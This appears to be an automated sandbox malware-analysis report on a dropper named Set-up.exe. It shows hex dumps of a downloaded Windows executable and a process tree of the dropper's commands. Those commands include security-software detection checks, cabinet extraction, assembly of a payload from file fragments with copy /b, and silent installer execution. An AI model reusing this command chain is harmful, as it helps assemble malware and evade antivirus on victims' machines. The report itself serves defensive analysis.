2025-01-05 17:52:50 UTC	468	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-05 17:52:50 UTC	1369	IN	Data Raw: 00 00 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 0b 00 00 02 00 Data Ascii: R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`
2025-01-05 17:52:50 UTC	1369	IN	Data Raw: 07 48 52 45 53 55 4c 54 04 00 00 00 80 ff ff ff 7f 02 00 44 13 40 00 0e 05 54 47 55 49 44 10 00 00 00 00 00 00 00 00 04 00 00 00 e4 10 40 00 00 00 00 00 02 02 44 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 06 00 0b 40 76 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 0e 26 6f 70 5f 49 6e 65 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 09 28 9c 4a 00 05 45 6d 70 74 79 00 00 40 13 40 00 00 02 00 09 28 9c 4a 00 06 43 72 65 61 74 65 00 00 40 13 40 00 02 02 00 00 00 00 04 44 Data Ascii: HRESULTD@TGUID@D1@D2@D3D4@v@&op_Equality@@@Left@@Right(J&op_Inequality@@@Left@@Right(JEmpty@@(JCreate@@D
2025-01-05 17:52:50 UTC	1369	IN	Data Raw: fe ff 72 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 7d 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 7d 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 44 69 73 70 6f 73 65 4f 66 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 3e 00 f4 7d 40 00 0c 49 6e 69 74 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 2f 00 94 7e 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 43 6c 61 73 Data Ascii: r@MTObject&}@Create@Self$}@Free@Self)(JDisposeOf@Self>}@InitInstance@Self@Instance/~@CleanupInstance@Self)(JClas
2025-01-05 17:52:50 UTC	1369	IN	Data Raw: 00 01 01 02 00 02 00 5b 00 e8 80 40 00 11 53 61 66 65 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 28 13 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 08 9c 1f 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 00 11 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 08 81 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 0c 81 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 39 00 10 81 40 00 08 44 69 73 70 61 74 63 68 03 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 00 02 00 3f 00 Data Ascii: [@SafeCallException(@@Self@ExceptObject@ExceptAddr1@AfterConstruction@Self1@BeforeDestruction@Self9@Dispatch@SelfMessage?
2025-01-05 17:52:50 UTC	1369	IN	Data Raw: 9c 10 40 00 02 00 05 41 46 6c 61 67 02 00 02 b8 12 40 00 08 00 05 41 44 61 74 61 02 00 02 00 00 5c 23 40 00 07 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 b8 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 72 65 61 64 0c 00 00 00 00 00 00 00 00 03 00 00 00 9c 23 40 00 00 00 00 00 02 04 4e 65 78 74 02 00 e4 10 40 00 04 00 00 00 02 06 54 68 72 65 61 64 02 00 00 11 40 00 08 00 00 00 02 09 57 61 69 74 45 76 65 6e 74 02 00 02 00 00 00 00 00 00 2c 24 40 00 0e 12 54 4d 6f 6e 69 74 6f 72 2e Data Ascii: @AFlag@AData\#@HPPGENAttribute"@4 @System#@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@WaitEvent,$@TMonitor.
2025-01-05 17:52:50 UTC	1369	IN	Data Raw: 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 ec f1 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 2b 00 00 f2 40 00 0b 4e 65 77 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 14 29 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 2c 28 40 00 9c 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 01 00 02 47 29 40 00 02 00 02 00 00 00 9c 10 40 00 d4 f1 40 00 00 00 00 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 52 65 66 43 6f 75 6e 74 00 00 cc 83 44 24 04 fc e9 21 c9 00 00 83 44 24 04 fc e9 3f c9 00 00 83 44 24 04 fc e9 41 c9 00 00 cc 6d 29 40 00 Data Ascii: nstruction)@Self1@BeforeDestruction)@Self+@NewInstance@Self)@TInterfacedObject,(@@SystemG)@@@RefCountD$!D$?D$Am)@
2025-01-05 17:52:50 UTC	1369	IN	Data Raw: 02 08 56 42 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 10 40 00 08 00 00 00 02 09 56 53 68 6f 72 74 49 6e 74 02 00 b4 10 40 00 08 00 00 00 02 05 56 42 79 74 65 02 00 cc 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 02 00 d4 2b 40 00 08 00 00 00 02 06 56 41 72 72 61 79 02 00 00 11 40 00 08 00 00 00 02 08 56 50 6f 69 6e 74 65 72 02 00 00 11 40 00 08 00 00 00 02 08 56 55 53 74 72 69 6e 67 Data Ascii: VBoolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@VAny+@VArray@VPointer@VUString
2025-01-05 17:52:50 UTC	1369	IN	Data Raw: 00 24 17 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 43 00 9b 35 40 00 44 00 f4 ff c1 35 40 00 41 00 f4 ff e6 35 40 00 41 00 f4 ff 0c 36 40 00 41 00 f4 ff 34 36 40 00 41 00 f4 ff 62 36 40 00 41 00 f4 ff 90 36 40 00 43 00 f4 ff c6 36 40 00 43 00 f4 ff 11 37 40 00 43 00 f4 ff 45 37 40 00 43 00 f4 ff a7 37 40 00 43 00 f4 ff 09 38 40 00 43 00 f4 ff 6b 38 40 00 43 00 f4 ff cd 38 40 00 43 00 f4 ff 2f 39 40 00 43 00 f4 ff 91 39 40 00 43 00 f4 ff f3 39 40 00 43 00 f4 ff 55 3a 40 00 43 00 f4 ff b7 3a 40 00 43 00 f4 ff 19 3b 40 00 43 00 f4 ff 7b 3b 40 00 43 00 f4 ff dd 3b 40 00 43 00 f4 ff 3f 3c 40 00 43 00 f4 ff a1 3c 40 00 43 00 f4 ff 03 3d 40 00 43 00 f4 ff 65 3d Data Ascii: $@~@@@@@@@@}@}@}@C5@D5@A5@A6@A46@Ab6@A6@C6@C7@CE7@C7@C8@Ck8@C8@C/9@C9@C9@CU:@C:@C;@C{;@C;@C?<@C<@C=@Ce=
2025-01-05 17:52:50 UTC	1369	IN	Data Raw: 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 3c 4c 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 3c 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 Data Ascii: L@Dest@StartIndex@Countb(JCopySelf<L@Src@StartIndex2@Dest@Countb(JCopySelf2@Src<L@Dest@StartIndex@Countb(JCop

Target ID:	0
Start time:	12:52:01
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Set-up.exe"
Imagebase:	0x400000
File size:	73'412'334 bytes
MD5 hash:	8139ECD1163D5FCC41821DBB61DDC2FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:52:03
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Manor Manor.cmd & Manor.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:52:03
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:52:04
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x90000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:52:04
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x640000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:52:05
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x90000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:52:05
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x640000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:52:05
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 446130
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:52:05
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Relations
Imagebase:	0x4e0000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:52:06
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Onto" Lifetime
Imagebase:	0x640000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:52:06
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 446130\Establish.com + Jon + Suggestion + Career + Biz + Build + Getting + Diving + Generation + Crossword + Betting + Lender 446130\Establish.com
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:52:06
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Teen + ..\Alabama + ..\Important + ..\Drawings + ..\Den + ..\Sluts + ..\Names u
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:52:07
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com
Wow64 process (32bit):	true
Commandline:	Establish.com u
Imagebase:	0xd50000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:52:07
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xe80000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:52:56
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe"
Imagebase:	0x220000
File size:	8'856'972 bytes
MD5 hash:	C89C55FE25372BFBF8B9264A647C144B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 51%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:52:57
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp" /SL5="$4041A,7875736,845824,C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe"
Imagebase:	0x130000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:52:58
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" /VERYSILENT
Imagebase:	0x220000
File size:	8'856'972 bytes
MD5 hash:	C89C55FE25372BFBF8B9264A647C144B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:52:59
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp" /SL5="$5041A,7875736,845824,C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" /VERYSILENT
Imagebase:	0x1e0000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:53:28
Start date:	05/01/2025
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff696180000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:53:28
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:53:37
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff7d6340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:53:37
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:53:37
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff761000000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:53:37
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff6000e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:53:37
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff7d6340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:53:37
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff761000000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff6000e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff7d6340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff761000000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff6000e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff7d6340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff761000000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	12:53:38
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff6000e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true
